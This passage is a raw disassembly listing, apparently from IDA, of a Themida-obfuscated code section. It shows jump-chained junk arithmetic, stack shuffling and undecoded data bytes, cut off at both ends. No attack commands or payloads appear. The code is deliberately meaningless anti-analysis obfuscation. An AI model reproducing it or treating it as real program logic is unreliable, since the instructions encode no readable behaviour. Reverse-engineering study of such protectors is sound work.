7750h, 31240C33h, 0C33240Ch dd 68515C24h, 7355h, 651E954h, 0B8500000h, 4, 0E958C301h dd 8945h, 3CDA68h, 24248900h, 979DE955h, 0B8500000h, 4 dd 0C37AE9h, 0C4835A00h, 4BB5304h, 0E9000000h, 3BF4h, 582434FFh dd 81E28952h, 4C2h, 4EA8300h, 5C241487h, 0E9240489h, 96CFh dd 0BD242C89h, 75E672Ch, 0FFD2FAE9h, 241489FFh, 0BF57E289h dd 67903C3Eh, 0C9B9514Fh, 12AB67Dh, 240C8BCFh, 81E68956h dd 4C6h, 4C68100h, 87000000h, 815C2434h, 294478EFh, 8E7C15Fh dd 8103E7C1h, 539004C7h, 5FFA0114h, 559068h, 240C8900h dd 0FFDB8BE9h, 0A094E9FFh, 348BFFFFh, 4C48124h, 53000000h dd 7DC9B951h, 0D9F74AFFh, 0F6ACE9h, 0FFD80100h, 1C8B2434h dd 4C48324h, 4C481h, 2CE90000h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5057AF: ; CODE XREF: Themida_:0050C489j neg ecx inc ecx add ecx, 40B55044h xor ecx, 406561E4h sub ecx, 66651317h shl ecx, 6 jmp loc_50287A ; --------------------------------------------------------------------------- loc_5057CC: ; CODE XREF: Themida_:0050E9A6j mov edx, [esp] push eax push esp mov eax, [esp] add esp, 4 push edx mov edx, 4A1F304Eh push ebx mov ebx, 4EE30B13h shl ebx, 3 jmp loc_506AD4 ; --------------------------------------------------------------------------- loc_5057EB: ; CODE XREF: Themida_:00500578j pop ecx jmp loc_50D279 ; --------------------------------------------------------------------------- loc_5057F1: ; CODE XREF: Themida_:005121C9j mov cl, bl dec cl mov bl, cl pop ecx shl bl, 4 not bl sub bl, 0C2h xor cl, bl pop ebx add bl, 7Fh jmp loc_5082F4 ; --------------------------------------------------------------------------- loc_50580B: ; CODE XREF: Themida_:00507645j mov ebx, 459E75BDh jmp loc_509EDE ; --------------------------------------------------------------------------- loc_505815: ; CODE XREF: Themida_:0050B1CDj add ebx, edi sub ebx, 1A5F14E3h jmp loc_502B13 ; --------------------------------------------------------------------------- loc_505822: ; CODE XREF: Themida_:005007AAj add esp, 4 add ebp, 4 push ecx mov ecx, 4 sub ebp, 703485Bh add ebp, ecx add ebp, 703485Bh pop ecx push 182h mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] shr eax, 0Ah jmp loc_503DBD ; --------------------------------------------------------------------------- loc_50585B: ; CODE XREF: Themida_:0050B36Dj add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_500EB0 ; --------------------------------------------------------------------------- loc_505870: ; CODE XREF: Themida_:0050FBEAj push ebx mov ebx, esp add ebx, 4 push edi mov edi, 4 add ebx, edi jmp loc_4FF9FE ; --------------------------------------------------------------------------- dw 6FBAh dd 8977BC4Ch, 0EB015AD5h, 83242C8Bh, 814304C4h, 4A9EB1EBh dd 0A91EE998h, 55E0000h, 0F24E4FB3h, 2EE9C189h, 5000006Fh dd 4EC81h, 24890000h, 24048324h, 4055804h, 68000000h, 7B21h dd 55243C89h, 0B5084468h, 0F5815D70h, 119A7188h, 48F5E9h db 0 ; --------------------------------------------------------------------------- loc_5058DD: ; CODE XREF: Themida_:005003E0j mov ebp, 68717042h add ebp, 978E8FC2h mov esi, ebp mov ebp, [esp] add esp, 4 push 7CD0h mov [esp], ecx push eax push esi mov esi, 2FD03432h mov eax, esi jmp loc_5037B2 ; --------------------------------------------------------------------------- aIHai db '<$haI',0 align 2 dw 8F54h dd 52552404h, 3B0991BAh, 95F28106h, 89063B09h, 6C015AD5h dd 8B5D0424h, 0C483243Ch, 42BA5204h, 81246914h, 4D6093C2h dd 1EA817Ah, 53000000h, 0F4438EBBh, 0E3D1432Eh, 8105EBC1h dd 0E63BB0F3h, 0DEB8504Bh, 17C2E0Ch, 0D3F758C3h, 0BCBD5543h dd 313BE677h, 0F3815DEBh, 2A390D4Ch, 0B6E9DA01h, 8B0000E1h dd 0C4832404h, 74E94804h, 54000071h, 47EAE9h, 9E8CE900h dd 3489FFFFh, 7175BE24h, 0F03117DDh, 0A53FE9h db 0 ; --------------------------------------------------------------------------- loc_505999: ; CODE XREF: Themida_:005042B8j pop edx pop dword ptr [esp] pop esp mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop eax push ebx jmp loc_510156 ; --------------------------------------------------------------------------- dw 0C183h dd 240C8704h, 2404335Ch, 30C5E9h, 81E58900h, 4ECh, 24148900h dd 4BAh, 5AD50100h, 4ED81h, 0E9550000h, 15ECh, 31242C33h dd 7E9242Ch, 5E00003Ch, 42Dh, 24043300h, 0E9240431h, 6AE6h dd 40558h, 4050000h, 87000000h, 0E3E92404h, 8900001Dh dd 74FF242Ch, 0E95D0424h, 9F4Ch, 5C24048Fh, 901BE9h, 0B7535200h dd 12B652A5h, 0EEC0C6FEh, 2133E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_505A32: ; CODE XREF: Themida_:00508A2Dj sub [esp+4], ebp jmp loc_511D96 ; --------------------------------------------------------------------------- db 5Ch dd 0E95DE829h, 1EDDh, 0D61EC681h, 0ED81E277h, 4C7A415Eh dd 36E0E9h db 0 ; --------------------------------------------------------------------------- loc_505A55: ; CODE XREF: Themida_:0050CDD5j mov [esp], ebp mov ebp, 1CD32C62h mov edi, ebp mov ebp, [esp] add esp, 4 neg edi add edi, 0FFFFFFFFh push edx jmp loc_5008E7 ; --------------------------------------------------------------------------- db 81h dd 0D2227AF1h, 59CE0195h, 0EE81C601h, 6A6E49BEh, 4685758h dd 0E9000000h, 20DDh, 28CEC380h, 0CEEB80D3h, 0FE4AB050h dd 0E9E434C0h, 6AD5h, 0AD2C1D05h, 7A372D75h, 0EA684F51h dd 0E900006Ah, 0FFFFDDD7h ; --------------------------------------------------------------------------- loc_505AB8: ; CODE XREF: Themida_:00513166j push dword ptr [esp] pop eax sub esp, 4 mov [esp], ebp jmp loc_501BFB ; --------------------------------------------------------------------------- loc_505ACA: ; CODE XREF: Themida_:005111F0j pop esp xor edx, edx jmp loc_5149C2 ; --------------------------------------------------------------------------- dw 28Fh dd 0FF9D3DE9h, 34FF59FFh, 0D8E95B24h, 5A000079h, 72D1EA81h dd 97E96ACAh, 68FFFFF1h, 1065h, 0FF243C89h, 5F042474h dd 0BD04E9h, 5BBD5500h, 141E860h, 0FA095DEFh, 0EBE2815Fh dd 0E964774Fh, 1352h, 0EAE9535Ch db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_505B1F: ; CODE XREF: Themida_:0050DA3Bj sub ebx, 44661768h pop eax sub ebx, 76D303F3h push 0EAAh mov [esp], edx push eax mov eax, 39561D90h push ebx jmp loc_5130B9 ; --------------------------------------------------------------------------- loc_505B40: ; CODE XREF: Themida_:00502A15j add edx, 4 push ebp jmp loc_505379 ; --------------------------------------------------------------------------- dd 0FF9CC5E9h db 0FFh ; --------------------------------------------------------------------------- loc_505B51: ; CODE XREF: Themida_:0051414Cj mov esi, esp jmp loc_50ADE2 ; --------------------------------------------------------------------------- loc_505B58: ; CODE XREF: Themida_:005060A2j add edx, 4 sub esp, 4 jmp loc_508BA9 ; --------------------------------------------------------------------------- dw 0E2D1h dd 0A014E9h, 5EF32900h, 0FFB1C9E9h, 766866FFh, 0C89663Bh dd 0A5B6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_505B82: ; CODE XREF: Themida_:00508AB3j mov ebp, esp add ebp, 4 push ecx jmp loc_508518 ; --------------------------------------------------------------------------- loc_505B90: ; CODE XREF: Themida_:0051044Aj dec ecx add ecx, 17DF3AA9h add ecx, 342227D8h sub esp, 4 jmp loc_5060E3 ; --------------------------------------------------------------------------- loc_505BA5: ; CODE XREF: Themida_:00514759j shr esi, 5 or esi, 78C7036Eh xor esi, 39DC6D9Ch mov edi, esi pop esi sub edi, 0E8DA0EC6h add edx, edi pop edi jmp loc_5129BC ; --------------------------------------------------------------------------- aGbqeqn7s db 'GeQN7״',0 dd 0D5C38100h, 8147B136h, 0A89384F3h, 0E9DA89B9h, 0FFFFC4A1h dd 0C7C7E951h, 0EFC10000h, 50D7F706h, 1D482FB8h, 58C7014Ch dd 0BB6CE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_505BFE: ; CODE XREF: Themida_:00502EC4j push ebp mov ebp, 4 add edx, 716174BCh jmp loc_50CE11 ; --------------------------------------------------------------------------- db 51h dd 0EDC0FCB5h, 6EDC002h, 0E964B652h, 0B752h ; --------------------------------------------------------------------------- loc_505C20: ; CODE XREF: Themida_:005132C4j push eax mov eax, 4 mov edx, eax pop eax sub eax, 449943A4h add eax, edx jmp loc_5005EC ; --------------------------------------------------------------------------- loc_505C35: ; CODE XREF: Themida_:0050BB62j mov [esp], esi mov esi, esp jmp loc_502435 ; --------------------------------------------------------------------------- db 81h dd 8CE8DAEFh, 0E9FE296Eh, 3853h ; --------------------------------------------------------------------------- loc_505C4C: ; CODE XREF: Themida_:00508D23j add eax, 4 jmp loc_5143CE ; --------------------------------------------------------------------------- dw 489h aSi db '$I',0 align 2 dw 0C581h dd 4, 0E9242C87h, 0D65Dh, 0FF04C483h, 1C8B2434h, 4C48324h dd 8904EC83h, 0E0892404h, 405h, 40500h, 4870000h, 91B1E924h dd 0CD890000h, 81240C8Bh, 4C4h, 4E5C100h, 2AD3C581h, 0E9E93C2Bh db 0B6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_505CAB: ; CODE XREF: Themida_:005105AEj add ebp, ebx pop ebx jmp loc_50D8E4 ; --------------------------------------------------------------------------- db 51h dd 994D34B9h, 59C83127h, 0F795635h, 14A63537h, 45E93B22h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_505CCB: ; CODE XREF: Themida_:0050F4DEj add ebp, esi pop esi push esi jmp loc_502190 ; --------------------------------------------------------------------------- loc_505CD4: ; CODE XREF: Themida_:0050D7A7j idiv ecx jmp loc_5021B4 ; --------------------------------------------------------------------------- loc_505CDB: ; CODE XREF: Themida_:0051169Cj push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_50168E ; --------------------------------------------------------------------------- dw 0F430h dd 0E388535Ah, 8B5BDE88h, 3FE92404h, 0BA00002Ah, 59E12078h dd 0EA81D2F7h, 0FFFFFFFFh, 0E281DAF7h, 7DEE5F17h, 472FF281h dd 0D5095086h, 5836685Ah, 0CDE90000h, 8F00000Bh, 4812404h dd 424h, 3053E900h, 148B0000h, 4C48124h, 87000000h, 248B2434h dd 4C48124h, 0E9000000h, 3B40h, 0C981D1F7h, 7F0951h, 0E981D1F7h dd 0F04562FCh, 0CFE7E9h, 24048B00h, 0D004C483h, 0E9D3F6EBh dd 88C7h, 4EC81h, 0E9540000h, 0FFFF9C17h, 81242C89h, 4ECh dd 243C8900h, 0C9ADE9h, 0C4E95100h, 5C000070h, 5C24048Fh dd 531C68h, 240C8900h, 55AFE9h, 39283500h, 0E8D16892h dd 4F2C68h, 24348900h, 0C83EFFBEh, 5EF02138h, 0CC99E9h db 0 ; --------------------------------------------------------------------------- loc_505DC1: ; CODE XREF: Themida_:00504082j pop edi sub ebp, eax pop eax xchg ebp, [esp] mov esp, [esp] mov [esp], edx push edi mov edi, esp add edi, 4 push ebx mov ebx, 4 sub edi, ebx mov ebx, [esp] jmp loc_5029AC ; --------------------------------------------------------------------------- db 0F7h dd 0C1DFF7D7h, 0DFF703EFh, 3CDFC781h, 2BE96600h, 81FFFFD6h dd 2A9F5EFh, 5FF889D2h, 0FF9FD6E9h, 0BB535EFFh, 46AA183Fh dd 0EBC1D3F7h, 40BF5702h, 0F730435Bh, 72E953DFh db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_505E23: ; CODE XREF: Themida_:00506AB4j jnz loc_50B040 push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi push ebx mov ebx, 37B45C6Ah push ecx push esi mov esi, 479D5524h mov ecx, esi jmp loc_508B70 ; --------------------------------------------------------------------------- dd 24048156h, 51036FF3h, 0F3EF815Fh, 5E51036Fh, 5C08EF81h dd 0BE56BE2Dh, 1B6E5342h, 8103EEC1h, 6B33C6E6h, 46D6F773h dd 0BA5AE9h, 4C18100h, 83000000h, 0C3304C1h, 0AB3BE924h dd 0C6290000h, 1D67E9h db 0 ; --------------------------------------------------------------------------- loc_505E95: ; CODE XREF: Themida_:005001F6j mov [esp], edi mov edi, 331E2307h jmp loc_507BB2 ; --------------------------------------------------------------------------- loc_505EA2: ; CODE XREF: Themida_:00514358j mov [esp], edi jmp loc_508325 ; --------------------------------------------------------------------------- loc_505EAA: ; CODE XREF: Themida_:0050E632j mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] mov eax, [esp] jmp loc_50B18B ; --------------------------------------------------------------------------- dw 8B66h dd 8957240Ch, 4C781E7h, 81000000h, 2C7h, 243C8700h, 0E239E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_505EE2: ; CODE XREF: Themida_:00501EB6j pop eax sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_50FAE9 ; --------------------------------------------------------------------------- dd 48BC189h, 4C48124h, 0E9000000h, 0FFFFEAF7h, 363768h dd 0E6AEE900h, 8B5CFFFFh, 0E4E9241Ch db 0DAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_505F13: ; CODE XREF: Themida_:00501A0Ej sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_501D9D ; --------------------------------------------------------------------------- loc_505F1F: ; CODE XREF: Themida_:00508865j mov ebp, [esp] add esp, 4 sub ebp, 706D169Eh xor esi, ebp pop ebp sub ebx, 56E912CFh add ebx, esi add ebx, 56E912CFh push dword ptr [esp] pop esi jmp loc_5078E3 ; --------------------------------------------------------------------------- dd 405h, 4BB5300h, 2D000000h, 0F797E15h, 0FF99ACE9h, 416858FFh dd 89000079h, 0A3E92434h, 8B000057h, 8B662424h, 62E92404h dd 68000083h, 6DD3h, 0FF9F4EE9h db 0FFh ; --------------------------------------------------------------------------- loc_505F81: ; CODE XREF: Themida_:005114DAj mov [esp], ecx jmp loc_50485E ; --------------------------------------------------------------------------- db 55h, 0BDh, 16h dd 68224C7Fh, 0 dd 5D242C29h, 5650D5F7h, 42E7BBEh, 5EF0896Ch, 66E9D0F7h dd 0BF00006Bh, 2B236820h, 9778E9h, 48B6600h, 3A476824h dd 4890000h, 48B5424h, 0EC835124h, 0D862E904h, 0D031FFFFh dd 8124148Bh, 4C4h, 0B8D1E900h, 0BF57FFFFh, 7B4300FEh dd 505FF901h, 5664E9h db 0 ; --------------------------------------------------------------------------- loc_505FED: ; CODE XREF: Themida_:0050A8AEj push dword ptr [esp] pop edx add esp, 4 push edi jmp loc_512EBE ; --------------------------------------------------------------------------- loc_505FFD: ; CODE XREF: Themida_:0050B052j push edx push 16C8h mov [esp], esp push esi mov esi, 4 add [esp+4], esi jmp loc_50451F ; --------------------------------------------------------------------------- db 0E9h, 0FCh, 97h dd 0E981FFFFh, 30240EC5h, 4BA525Dh, 0E9000000h, 0FFFFC795h ; --------------------------------------------------------------------------- loc_50602C: ; CODE XREF: Themida_:00501349j push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] pop esp push 4AA3h mov [esp], ecx push edx mov edx, 59802CFEh mov ecx, edx jmp loc_50CF19 ; --------------------------------------------------------------------------- db 66h dd 8966EE29h, 348B66F5h, 3343E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50605E: ; CODE XREF: Themida_:00513D26j xor edx, esi pop esi sub edx, 9F09F528h add ebx, edx jmp loc_508950 ; --------------------------------------------------------------------------- dw 0D9F7h aSHS db '',8,'hs',0 align 4 dd 0BE243489h, 54403AFDh, 39EBD55h, 5EE9D2B0h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50608B: ; CODE XREF: Themida_:0050D3EAj xor cl, dl pop edx push ebx mov bl, 2Ch not bl jmp loc_50F76B ; --------------------------------------------------------------------------- dd 0E9240489h, 42ECh ; --------------------------------------------------------------------------- loc_5060A0: ; CODE XREF: Themida_:00510FFEj mov edx, esp jmp loc_505B58 ; --------------------------------------------------------------------------- db 0BFh dd 7B51589h, 6424BE56h, 10E96C6Bh, 68000043h, 6930h, 0E9241489h dd 0FFFF9752h, 0E01392BDh, 0AEF5E90Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5060CE: ; CODE XREF: Themida_:005074F9j pop edx sub [edi+24h], ecx mov ecx, [esp] sub esp, 4 mov [esp], ebx jmp loc_5096DE ; --------------------------------------------------------------------------- loc_5060E3: ; CODE XREF: Themida_:00505BA0j mov [esp], esi mov esi, 13DD7025h neg esi sub esi, 750180E8h or ecx, esi jmp loc_50E3A2 ; --------------------------------------------------------------------------- loc_5060FA: ; CODE XREF: Themida_:0051003Fj xor ebx, 0D895DEF8h jmp loc_512B25 ; --------------------------------------------------------------------------- db 0Dh, 42h, 1Eh dd 0E4352B06h, 898B26E7h, 0FBE958C2h db 9Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_506117: ; CODE XREF: Themida_:005008BCj mov [esp], esi mov esi, 31E54729h sub ebp, esi pop esi sub ebp, 7D60488Fh add ebp, 2B016EF5h jmp loc_5093DC ; --------------------------------------------------------------------------- db 8Bh dd 0C4832434h, 4C68104h, 0E9000000h, 0FFFFDC49h ; --------------------------------------------------------------------------- loc_506144: ; CODE XREF: Themida_:00504EBCj mov ebx, 35B01F2Eh xor ebp, ebx pop ebx mov edi, ebp pop ebp jmp loc_50CA92 ; --------------------------------------------------------------------------- dd 6834F2BDh, 81D5F726h, 0F1430AF5h, 0C897E926h, 5E050000h dd 0E9011548h, 3670h ; --------------------------------------------------------------------------- loc_506170: ; CODE XREF: Themida_:0050FF3Bj mov eax, 408E0D4Ch not eax not eax shr eax, 5 add eax, 0FDFB8F9Ah add edx, eax mov eax, [esp] add esp, 4 add edx, 4 push 38Fh mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_50A071 ; --------------------------------------------------------------------------- db 28h dd 6CF4E9F0h, 8B660000h, 8951240Ch, 0CCBB53E1h, 81714F6Eh dd 4F6EC8EBh, 0E980E971h, 0D8F6FFFFh, 0E9E9B32Ch, 5900003Ah dd 56E18951h, 28EF68h, 24148900h, 0BAADE9h, 0E8305B00h dd 6665E959h, 0BF680000h, 89000002h, 58542404h, 4BF068h dd 242C8900h, 11FFE9h db 0 ; --------------------------------------------------------------------------- loc_506201: ; CODE XREF: Themida_:00506CFEj mov edx, [esp] add esp, 4 jmp loc_502F5A ; --------------------------------------------------------------------------- loc_50620C: ; CODE XREF: Themida_:0050B58Fj push 5A2C23F0h pop eax add eax, 0E5950935h jmp loc_5111A1 ; --------------------------------------------------------------------------- loc_50621C: ; CODE XREF: Themida_:0050B6ACj mov [esp], ebx mov bl, dh push edx push eax mov al, bl mov dh, al pop eax mov cl, dh pop edx pop ebx jmp loc_513761 ; --------------------------------------------------------------------------- loc_506231: ; CODE XREF: Themida_:005013EEj push ebx mov ebx, 238126BFh add eax, ebx pop ebx jmp loc_50EFDA ; --------------------------------------------------------------------------- db 66h dd 50240C8Bh, 405E089h, 0E9000000h, 0FFFFAE14h, 835BD901h dd 0FF5104C1h, 59042474h, 8B24048Fh, 0AFE92424h, 81FFFF95h dd 4DFF88C7h, 5FF82104h, 3502E0C1h, 78725887h, 0CC211C25h dd 8E8C159h, 2151B951h, 0C829A99Ch, 58C52959h, 0FFED2AE9h dd 74A168FFh, 3C890000h, 0B1BFE924h, 0E95F0000h, 8994h dd 102668h, 242C8900h, 0B8505D54h, 4, 8BA4E9h db 0 ; --------------------------------------------------------------------------- loc_5062B9: ; CODE XREF: Themida_:0050A075j push 3422h mov [esp], ecx mov ecx, 1B8E14FDh push 6F7Fh jmp loc_50A3D1 ; --------------------------------------------------------------------------- dd 592434FFh, 0E904C483h, 8F29h, 9E1377BDh, 6EDC167h, 8106EDC1h dd 0C73972CDh, 92ED817Ah, 814DA618h, 975E67C5h, 0CCF58163h dd 5790B8BFh, 4E6CB850h, 1E90A92h, 890000C3h, 0D789243Ch dd 242C8B57h, 4C481h, 8B5F0000h, 0A5E92414h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_506323: ; CODE XREF: Themida_:00506E7Dj sub ebx, 5E0601ACh add ebx, ecx add ebx, 5E0601ACh jmp loc_50B345 ; --------------------------------------------------------------------------- dw 295Bh dd 241C8BD9h, 4C481h, 0C870000h, 24248B24h, 0B1240C89h dd 283D2C56h, 431DE9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_506356: ; CODE XREF: Themida_:00505136j and ebp, 45A078C0h push edx mov edx, 12F101B4h or ebp, edx pop edx or ebp, 122160F3h sub ebp, 4FBF77FAh sub eax, ebp mov ebp, [esp] add esp, 4 and ebx, eax pop eax shr ebx, 1 push esi mov esi, 0DA3F9863h xor ebx, esi jmp loc_512092 ; --------------------------------------------------------------------------- dw 0E689h dd 4C681h, 0C6830000h, 24348704h, 4EC815Ch, 89000000h dd 6FE9241Ch, 83FFFFC6h, 3C8704C7h, 0E9555C24h, 26D5h dd 4EC81h, 0C890000h, 0D6B6E924h, 4830000h, 34FF0424h dd 5F09E924h, 0A9B80000h, 0F72A6B15h, 706D2DD0h, 5482769h dd 6959E523h, 158C729h, 0EC835FFDh, 240C8904h, 7364E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5063F6: ; CODE XREF: Themida_:00503873j mov ecx, [esp] jmp loc_510B90 ; --------------------------------------------------------------------------- loc_5063FE: ; CODE XREF: Themida_:00514137j push ecx mov ecx, 58313B70h mov edi, 58313B74h sub edi, 11175D5Ah jmp loc_50B2BC ; --------------------------------------------------------------------------- loc_506414: ; CODE XREF: Themida_:00513658j push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] imul ecx push eax mov eax, esp jmp loc_50F189 ; --------------------------------------------------------------------------- loc_50642A: ; CODE XREF: Themida_:0050729Ej push 0A06h mov [esp], ecx push ebx mov ebx, 4 mov ecx, ebx jmp loc_50B996 ; --------------------------------------------------------------------------- db 1 dd 0FF5658C6h, 8B042474h, 89572434h, 4C781E7h, 81000000h dd 4C7h, 243C8700h, 0FFA4B2E9h, 662D25FFh, 0D8F748EDh dd 4A2DD8F7h, 8903DFC3h, 0CD8158C5h, 53772AB3h, 44BBED81h dd 16E94152h, 8700000Fh, 685C243Ch, 31FCh, 0ABDDE9h, 0E2895200h dd 4C281h, 0BE560000h, 4, 8D4E9h db 0 ; --------------------------------------------------------------------------- loc_5064A5: ; CODE XREF: Themida_:00512169j push 76B7h mov [esp], edi mov edi, 3E7629AAh sub edi, 1A096425h inc edi jmp loc_50AE1A ; --------------------------------------------------------------------------- loc_5064BE: ; CODE XREF: Themida_:00512C99j mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5037DD ; --------------------------------------------------------------------------- loc_5064D4: ; CODE XREF: Themida_:004FF8FAj mov [esp], edx mov edx, 4E741639h xor edx, 42763D9Dh add ebp, edx jmp loc_50139E ; --------------------------------------------------------------------------- db 8Fh, 47h, 40h dd 0FF9325E9h db 0FFh ; --------------------------------------------------------------------------- loc_5064F1: ; CODE XREF: Themida_:00510D0Dj add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_507FB9 ; --------------------------------------------------------------------------- dw 3C33h dd 24248B24h, 0F66F9F6h, 6866CCB6h, 46E9005Dh db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_506517: ; CODE XREF: Themida_:00509EB2j sub ebp, 0FA23DC09h add ebx, 491373BAh sub ebx, ebp jmp loc_509DAE ; --------------------------------------------------------------------------- aI4UEVScs db '\4$U',7,'v~c',0 db 0 ; --------------------------------------------------------------------------- loc_506539: ; CODE XREF: Themida_:00504D38j pop ebx sub ecx, 35402C61h jmp loc_50CE7E ; --------------------------------------------------------------------------- db 0BFh, 0C0h, 24h dd 0FB294C92h, 0C7EB815Fh, 12D8350h, 0BF5751C3h, 632F1F7Fh dd 241C8757h, 1C87D3F7h, 0EF815F24h, 6F4D8FB9h, 3C8BF989h dd 4C48324h, 5659CB01h, 0DC5D90BEh, 0B3CE813Bh, 52654840h dd 52BFCBAh, 81DAF772h, 0C26D28F2h, 42D2F768h, 350BE9h dd 0B9515900h, 2, 7CA3C381h, 0CB015B27h, 51CEE9h, 0BEE98100h dd 5A61480Dh, 0E902C183h, 0FFFFB5DEh, 0B3241C89h, 52505191h dd 0EEC001B6h, 8CF68008h, 0FFC28AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5065D1: ; CODE XREF: Themida_:00500393j add ebx, 94929203h add ebp, ebx jmp loc_5114C5 ; --------------------------------------------------------------------------- aZs db '!Z)',0Dh,0 align 2 dw 0C681h dd 73806308h, 0F5E95552h, 2D000046h, 50CE4C67h, 6705E801h dd 0FF50CE4Ch, 0A6E92434h, 830000ACh, 505102C4h, 4CE967B0h dd 52FFFFAEh, 0BAh, 0B4C9E900h, 0BA520000h, 0F441DAh, 15AD501h dd 0FF575DEFh, 5F042474h, 4C1BE9h db 0 ; --------------------------------------------------------------------------- loc_506635: ; CODE XREF: Themida_:0050B79Bj add esp, 2 shr dl, 6 push small 0 sub [esp], dl mov dl, [esp] add esp, 2 dec dl sub dl, 0A8h sub esp, 2 jmp loc_513CD9 ; --------------------------------------------------------------------------- dd 4C281h, 0E9520000h, 19D0h ; --------------------------------------------------------------------------- loc_506664: ; CODE XREF: Themida_:0051156Aj mov ecx, 59F60DAFh mov ebp, ecx pop ecx add ebp, 0B12EF814h add eax, ebp jmp loc_504CFD ; --------------------------------------------------------------------------- a_sS db '_%S',0 db 0 ; --------------------------------------------------------------------------- loc_50667F: ; CODE XREF: Themida_:005029DEj pop edx xchg eax, [esp] pop esp push ebx mov ebx, 4 add edi, ebx pop ebx push ecx mov ecx, 4 add edi, 6CB37911h add edi, ecx jmp loc_50D324 ; --------------------------------------------------------------------------- loc_5066A0: ; CODE XREF: Themida_:0050D8B7j pop edx jmp loc_51256D ; --------------------------------------------------------------------------- dw 0B951h dd 219A4B18h, 0C92E181h, 27E94FEEh db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5066B7: ; CODE XREF: Themida_:0050C36Cj push dword ptr [esp] pop eax push 3D6Fh mov [esp], edx push esp push dword ptr [esp] mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_50E0C6 ; --------------------------------------------------------------------------- dw 0F828h dd 0FFDD8BE9h, 0E5E952FFh, 66000035h, 0BE6656h, 0F959E900h dd 0C381FFFFh, 6E4F7A5Eh, 13E9008Fh db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_506703: ; CODE XREF: Themida_:005105EEj pop eax and ecx, ebp push dword ptr [esp] pop ebp push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edi jmp loc_50BBB9 ; --------------------------------------------------------------------------- db 0BBh dd 6964759Fh, 0FF9115E9h db 0FFh ; --------------------------------------------------------------------------- loc_50672D: ; CODE XREF: Themida_:0050CC24j pop esp mov [esp], ebx push 2098h jmp loc_5124E0 ; --------------------------------------------------------------------------- db 59h dd 4C181h, 0E9830000h, 240C8704h, 8924248Bh, 21E9243Ch dd 0FF000095h, 97E92434h, 8B000003h, 0C4812404h, 4, 5142C380h dd 7A05E952h, 0BD550000h, 62D149B8h, 69E9E829h db 0DEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50677B: ; CODE XREF: Themida_:0050A6F3j pop esi add esi, 10807420h add esi, eax jmp loc_507B2B ; --------------------------------------------------------------------------- db 81h, 0C3h, 43h dd 5642FC58h, 0CB917CBEh, 5EF3016Dh, 0FF5BDF29h, 1C8B2434h dd 4C48324h, 0C304C483h, 0FF9069E9h db 0FFh ; --------------------------------------------------------------------------- loc_5067AD: ; CODE XREF: Themida_:00500ECAj push edx mov edx, 63AB1513h jmp loc_50B314 ; --------------------------------------------------------------------------- loc_5067B8: ; CODE XREF: Themida_:0050860Ej sub dword ptr [esp], 2A3106E1h jmp loc_4FF816 ; --------------------------------------------------------------------------- aIssi db '',0 db 0 ; --------------------------------------------------------------------------- loc_5067CB: ; CODE XREF: Themida_:0050376Fj pop ebp push 10B11C07h pop esi add esi, edx mov edx, [esp] jmp loc_51242E ; --------------------------------------------------------------------------- loc_5067DC: ; CODE XREF: Themida_:0051179Aj pop edi jmp loc_50BEF4 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 8704E983h, 895C240Ch, 0E2892414h, 4C281h, 0BE560000h dd 4, 43E9F201h, 8900004Ah, 61E95DE9h, 8900004Ch, 1BA2414h dd 9000000h, 90E91C57h, 35FFFFE4h, 5FD90033h, 0FF58C301h dd 835E2434h, 0C38104C4h, 2, 31241C33h, 57E9241Ch, 5F000054h dd 5C24048Fh, 3294E9h db 0 ; --------------------------------------------------------------------------- loc_506849: ; CODE XREF: Themida_:00503C70j mov ebp, [esp] add esp, 4 shr ecx, 7 push dword ptr [edi+1Ch] push dword ptr [esp] pop eax push ecx push 4B07h push 62Bh mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push edi push ecx mov ecx, 6CB4745Bh mov edi, 6CB4745Fh jmp loc_50194C ; --------------------------------------------------------------------------- aISA db ')]&',0 dd 88E28800h, 0A324E9D5h, 3487FFFFh, 4FE95C24h, 8900006Dh dd 74FF240Ch, 0C8B0424h, 4EC8124h, 89000000h, 0E589242Ch dd 4C581h, 0ED810000h, 4, 31242C33h, 2C33242Ch, 0C895C24h dd 81E18924h, 4C1h, 4C18300h, 